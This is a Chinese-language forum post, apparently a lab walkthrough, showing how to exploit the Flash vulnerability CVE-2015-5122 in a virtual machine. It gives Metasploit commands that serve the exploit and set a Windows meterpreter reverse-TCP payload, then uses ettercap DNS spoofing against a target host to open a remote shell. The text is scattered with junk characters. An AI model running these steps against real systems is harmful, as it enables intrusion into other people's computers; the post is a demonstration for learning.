找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1357|回复: 0
打印 上一主题 下一主题

cve2015-5122漏洞实例演示虚拟机

[复制链接]
跳转到指定楼层
楼主
发表于 2018-10-20 20:28:02 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

* X+ @0 h/ C% [7 } 二、cve2015-5122漏洞实例演示虚拟机 - E( s2 B% y& M; i% `5 ~' B

# N! M/ I* t+ e: ~4 w3 K

" G( o" j4 O$ W7 g0 \5 ~6 O   关于cve2015-5122这个漏洞,大家可以百度一下,是关于flash的漏洞,是2015flash漏洞的第二发,今天我们就用这个漏洞来演示,开启kai linux msfconsole命令启动msf如图: % [) P% ?$ z& l( D

) Q1 K' @8 b6 ?" |5 J

) w/ I2 { y6 h1 T X search cve-2015-5122如图: 8 i1 Q( A: B! z# H& C

: G" h* H" X' o m

* u% j# m; z2 H$ P1 C z   " N' `# u' d5 N% j& ^# z* l- p* z% p

- c/ l" U$ @# x, o& f/ R

7 E) E7 O* B: ?2 l 下面我们敲如下命令: , r' P0 Z/ ^0 u2 l. O; }

/ L7 w7 p, S) |. D3 c/ [/ g

4 B& o+ g& a/ C. q( C$ \ use exploit/multi/browser/adobe_flash_opaque_background_uaf % v9 Q4 c4 j2 ^6 t% x* |

s, p- X$ w( Q0 L6 p1 ?

) V2 w {+ p" f7 M' d1 J set PAYLOAD windows/meterpreter/reverse_tcp 0 d$ j' P0 w% [7 D1 N6 u; m* @

' `3 \. q% e( k/ Z D" B: i6 G# V2 v

+ ]3 T9 d+ |5 p set LHOST 192.168.0.109 - U6 p0 S4 k! }% Q+ G. C

' n/ f6 U, C& S6 H

) y5 h* U# u" q set URIPATH /                        /*根目录*/ 7 q+ a' W% s- d+ v$ ?

' R( k+ D `0 o& Z1 N" `

5 U; h8 v) S3 o' b/ E( ]# l( n9 l8 N set SRVHOST 192.168.0.109  //192.168.0.109kaili ip地址 8 e3 e+ ]& h$ e# y

. \3 @# n$ c3 V Q O

+ d- _1 k$ T6 b( p* A1 d4 R. y set SRVPORT 80            /*80端口*/ 使用80端口时要保证apache为停止状态用service apache2 stop命令停止否则会提示端口被占用 , ^: r6 i2 a. t* T- X) l6 F4 x& U

: l) F( V- k( e# _0 l7 X

2 x" z# V- P! r3 w: A4 h 然后show options如图: . }, v8 c" S( o( M" K& R

3 w! s" N o- b# }( v8 X

7 N5 [) I6 z Z( W' s5 d   ! ]0 |9 S( d, ^1 S- ]8 o

, `2 S2 g! C. F9 a

0 j# |$ z) k4 v9 B9 A 一切都设置好了,执行exploit下面我们进etc/ettercap目录下设置etc.dns如图:
: g- ~( D0 Q9 }+ `4 S4 p
3 z5 [7 ]6 A1 i9 @1 k2 K7 j

. d% ^: p$ G4 @; T1 ]0 U7 p

" L/ K3 ~5 @" g 然后ettercap -G命令打开ettercap,我们要攻击的主机ip192.168.0115 9 |7 M0 K6 i* J$ ]

- U2 w$ n8 y$ ]8 J5 w

0 ?4 I5 i( V; K, q, j& O" m* g; p Ettercap过程第一篇里已经演示,这里不在详细写了。。。执行完ettercap以后我们观察一下msf 6 O7 X9 U3 I( c

3 ~2 V6 \ |1 z7 F8 w

; F. c6 @! | c J# N   4 m/ }1 H8 a' ~/ |

# Z6 G1 i5 y8 k6 v" M

# w0 e* `* |6 o- F( M& Z 成功了,这时候我们断开ettercap,如图: ( K9 V) a6 {0 S4 `6 j

, \3 P v& K& C* h3 ?

1 J, w# g0 L- J+ K5 I6 F   5 r0 f( H" u7 T* \

: u; c& A0 a. X, T. {* T

3 s* ^1 p9 x! _8 l1 U Screenshot如图: ' \8 |- |* n- ?9 X8 k

u' k n6 s4 d& o

7 {8 @# G( a- Q! s3 |- L2 l   * T6 i( x* K, v4 C3 o7 m

8 g5 ~ N6 S u; K4 m) c% Y9 x _

$ Q! n7 o/ O1 Q# |3 U; I * V h% l, w/ ]' q2 l' i# B

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表